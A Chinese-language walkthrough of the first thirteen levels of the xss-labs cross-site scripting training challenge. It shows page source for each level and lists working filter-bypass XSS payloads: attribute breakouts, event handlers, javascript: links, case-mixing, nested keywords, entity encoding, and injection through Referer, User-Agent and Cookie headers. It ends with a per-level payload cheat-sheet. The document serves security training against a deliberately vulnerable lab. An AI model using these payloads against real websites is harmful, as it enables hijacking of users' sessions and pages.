赞
踩
<script " 'OOnn>
,利用该语句输入后,审查源码,猜测是否过滤以及过滤规则是什么。?name=<script " 'OOnn>
回车。发现网页一片空白,无事发生。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script " 'OOnn></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
?name=<script>alert(/xss/)</script>
,轻松带走。<script " 'OOnn>
回车,无事发生。我们可以看到输入框中没有显示出双引号,所以此处语句应该是被双引号闭合。">
把签名input标签闭合掉,这样我们构造的标签就能顺利被编译,而不是简单字符串了。为了结构完整,可以在结尾构造一个"<
把input剩下的尖括号闭合掉。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script " 'OOnn>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
"><script>alert(/xss/)</script><"
,顺利通过轻松带走。<script " 'OOnn>
点搜索,无事发生。仅能看到输入框的内容里没有单引号,因此我们猜测该输入参数是被单引号闭合的。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='<script " 'OOnn>'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
'onmouseover='alert(/xss/)
并点击搜索时,没有弹出窗口,但是当我们将鼠标移动至输入框时,触发事件,就弹出窗口。<script " 'OOnn>
点搜索,无事发生。我们看到搜索框里没有小于号,估计是被转义了,内容也是到script截止,猜测内容是由双引号闭合的。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="script " 'OOnn">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>
"onmouseover="alert(/xss/)
,点击搜索时,没有弹出窗口,但是当我们将鼠标移动至输入框时,触发事件,就弹出窗口。<script " 'OOnn>
,显示如下。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和<script " 'oonn>相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="<scr_ipt " 'oo_nn>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:18</h3></body>
</html>
"><a href="javascript:alert(/xss/)">click me!</a><"
,点击搜索,出现页面如下,点击则通关。<script " 'OOnn>
,显示如下。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和<script " 'Oonn>相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="<scr_ipt " 'OO_nn>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:18</h3></body>
</html>
"><a href="javascript:alert(/xss/)">click me!</a><"
,网页源码如下,可以看到a标签的href属性也被转义了。对此,考虑到本关卡没有对大小写转化(见上一步),测试大小写混编输入。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和"><a href="javascript:alert(/xss/)">click me!</a><"相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value=""><a hr_ef="javascript:alert(/xss/)">click me!</a><"">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:52</h3></body>
</html>
"><a Href="javascript:alert(/xss/)">click me!</a><"
,点击搜索如下。通关。<script " 'OOnn>
,显示如下。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和<script " 'oonn>相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value="< " 'on>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:8</h3></body>
</html>
"><scrscriptipt>alert(/xss/)</scrscriptipt><"
,成功通关。<script " 'OOnn>
,显示如下。与上面实验均不同的是,此处将我们所有输入都输出在框里。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword value="<script " 'oonn>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="<scr_ipt " 'oo_nn>">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:22</h3></body>
</html>
3.构造参数为 javascript:alert(/xss/)
,查看源码如下:
1. 在第21行中,可以看到伪协议中的script被插入了下划线。
2. 对此,考虑对部分字符进行编码。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword value="javascript:alert(/xss/)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert(/xss/)">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:24</h3></body>
</html>
javascript:alert(/xss/)
,完成后点击友情链接触发XSS。<script " 'OOnn>
,显示如下。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword value="<script " 'oonn>">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:22</h3></body>
</html>
http://xxx.xxx
并提交,查看源码发现现在链接是合法的,我们估计是加了http://这个信息的缘故。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword value="http://xxx.xxx">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="http://xxx.xxx">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>
javascript:alert('http://')
,让内容中含有http://这一段字符串,成功执行。?keyword=<script " 'OOnn>
,显示如下。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
?t_sort=<script " 'OOnn>
,看到源码中出现我们输入的参数值。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="script " 'OOnn" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
?t_sort=click me!" type="button" onclick="alert(/xss/)
。页面显示如下,点击就通关。
?t_sort=
表示参数是传递给谁;click me!"
给input赋值同时闭合双引号;?keyword=<script " 'OOnn>
,显示如下。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
?t_sort=<script " 'OOnn>
时,源码如下:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="<script " 'OOnn>" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
referer:<script " 'OOnn>
,点击send。在回包中看到t_ref参数显示出我们的参数,没有任何过滤。referer:click me!" type="button" onclick="alert(/xss/)
,点击forward。?keyword=<script " 'OOnn>
,显示如下。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和<script " 'OOnn>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
click me!" type="button" onclick="alert(/xss/)
可以触发XSS漏洞,如下,点击forward。<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level13</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="call me maybe?" type="hidden">
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
click me!" type="button" onclick="alert(/xss/)
,点击forward。//测试语句
<script " 'OOnn>
//关卡1
?name=<script " 'OOnn>
//关卡2
"><script>alert(/xss/)</script><"
//关卡3
'οnmοuseοver='alert(/xss/)
//关卡4
"οnmοuseοver="alert(/xss/)
//关卡5
"><a href="javascript:alert(/xss/)">click me!</a><"
//关卡6
"><a Href="javascript:alert(/xss/)">click me!</a><"
//关卡7
"><scrscriptipt>alert(/xss/)</scrscriptipt><"
//关卡8
javascript:alert(/xss/)
//关卡9
javascript:alert('http://')
//关卡10
?t_sort=click me!" type="button" οnclick="alert(/xss/)
//关卡11
referer:click me!" type="button" οnclick="alert(/xss/)
//关卡12
User-agent:click me!" type="button" οnclick="alert(/xss/)
//关卡13
cookie-user:click me!" type="button" οnclick="alert(/xss/)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。